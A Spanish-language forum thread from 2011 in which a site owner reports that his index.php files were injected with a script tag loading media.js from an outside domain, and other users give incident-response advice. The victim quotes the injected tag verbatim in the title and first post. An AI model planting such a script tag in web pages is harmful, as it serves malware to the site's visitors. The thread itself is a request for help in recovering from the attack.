aparecion algo extraño mi web http://nw-cpm.cz.cc/media.js

jhonnybmx · #1 (**permalink**) 23/03/2011, 12:51

Hola el dia de hoy entre a mi sitio web y tengo varios index.php en varias carpetas y veo que todos estos han sido modificados, apareciendo
<script type="text/javascript" src="http://nw-cpm.cz.cc/media.js"> </script> despues de cada <body> y me salian errores en la pagina y a raiz de esto y salian mensajes extraños de cifrados

alguien me puede ayudar diciendome que es esto que paso, por que mis web fueron modificadas con este script "solo los index.php"

JoshMex · #2 (**permalink**) 23/03/2011, 13:04

Qué script usas en tu sitio web?

Guardas el usuario y password de tu cuentas ftp en un cliente ftp?

Intentaste contactar a tu proveedor de hosting para que verifique si su servidor fue comprometido.

globotec · #3 (**permalink**) 23/03/2011, 13:36

si duda contacta a tu proveedor de hosting que elimine la cuenta y la vuelva a crear y si tiene aplicaciones como joomla worprees , o alguna otra aplicación actualiza la a la ultima versión yo te diría que lo hagas rápido ya que cuando pase el spider de los buscador te va bloquear la pagina poniendo un lindo cartel que la pagina eta infectada

jhonnybmx · #4 (**permalink**) 23/03/2011, 18:56

Cita:

Iniciado por JoshMex

Qué script usas en tu sitio web?

Guardas el usuario y password de tu cuentas ftp en un cliente ftp?

Intentaste contactar a tu proveedor de hosting para que verifique si su servidor fue comprometido.

Gracias por contestar, pues ya le mande el problema al dueño del server y no me han contestado. en cuento script solo uso 1 que es el de jquery ui. y sí guardo mis cuenta ftp en "filezilla"

atlanticadigital · #5 (**permalink**) 24/03/2011, 06:49

1º Revisa tu PC. Puede estar infectada con algun malware o troyano que esta inyectando codigo dentro de los archivos de tu web y subiendolos por ftp. Esto es mas comun de lo que parece.

2º Contacta con el soporte de la empresa de hosting para ver si tienen un backup de tu sitio y te lo pueden restaurar a cuando estaba bien.

3º Cambia de inmediato la clave de ftp/cpanel (o el panel de control que uses) y no la guardes en la PC.

Saludos.

JoshMex · #6 (**permalink**) 24/03/2011, 07:07

Cita:

Iniciado por jhonnybmx

Gracias por contestar, pues ya le mande el problema al dueño del server y no me han contestado. en cuento script solo uso 1 que es el de jquery ui. y sí guardo mis cuenta ftp en "filezilla"

Sigues los pasos indicados por atlanticadigital.

NUNCA almacenes los password de tus cuentas ftp en ningún cliente ftp.

jhonnybmx · #7 (**permalink**) 24/03/2011, 08:14

Bien, seguire todos los consejos

Gracias a todos.

jhonnybmx · #8 (**permalink**) 24/03/2011, 15:11

DIOSSSSSSSSSSS han reportado mi web como atacante :S :S :S QUE HAGO YA CAMBIETO LOS PASSWORD Y YA NO GUARDO LOS PASSWORD *calmandoxe* sorry voi a bajarme todo el sitio web aver que encuetro :S mas de 5000 archivos ¬¬

jhonnybmx · #9 (**permalink**) 27/03/2011, 11:29

Hola a todos pero esto esta mas grave de lo que pence, elimine todas las cuentas de ftp se cambio el password del hosting pero antes de eso pase antivirus y antimalware al equipo. y todavia seguen inyectando ese script en mis paginas AYUDA por favor

atlanticadigital · #10 (**permalink**) 27/03/2011, 12:05

Consulta: Tenes un tu pc windows original, antivirus original, firewall original y todo el software instalado es original? No tenes nada descargado de internet e instalado en la PC?
Esto suele pasar cuando hay software pirata en una pc con acceso al servidor.
No olvides tampoco pedir ayuda a tu soporte de hosting. Ellos deberian poder recomendarte que hacer tambien.

Saludos.

jhonnybmx · #11 (**permalink**) 27/03/2011, 12:09

Cita:

Iniciado por atlanticadigital

Consulta: Tenes un tu pc windows original, antivirus original, firewall original y todo el software instalado es original? No tenes nada descargado de internet e instalado en la PC?
Esto suele pasar cuando hay software pirata en una pc con acceso al servidor.
No olvides tampoco pedir ayuda a tu soporte de hosting. Ellos deberian poder recomendarte que hacer tambien.

Saludos.

claro tengo un dell que viene con su windows original, tengo Microsoft Security Essentials y de firewall tengo "pc tools firewall plus" el cual tengo en prioridad alta todo lo que intente usar interenet me lo pregunta.

merolikeo · #12 (**permalink**) 27/03/2011, 19:14

El problema parece estar en tu proveedor de hosting. Pideles que te cambien de servidor.

No creo que sea tu PC o tus softwares.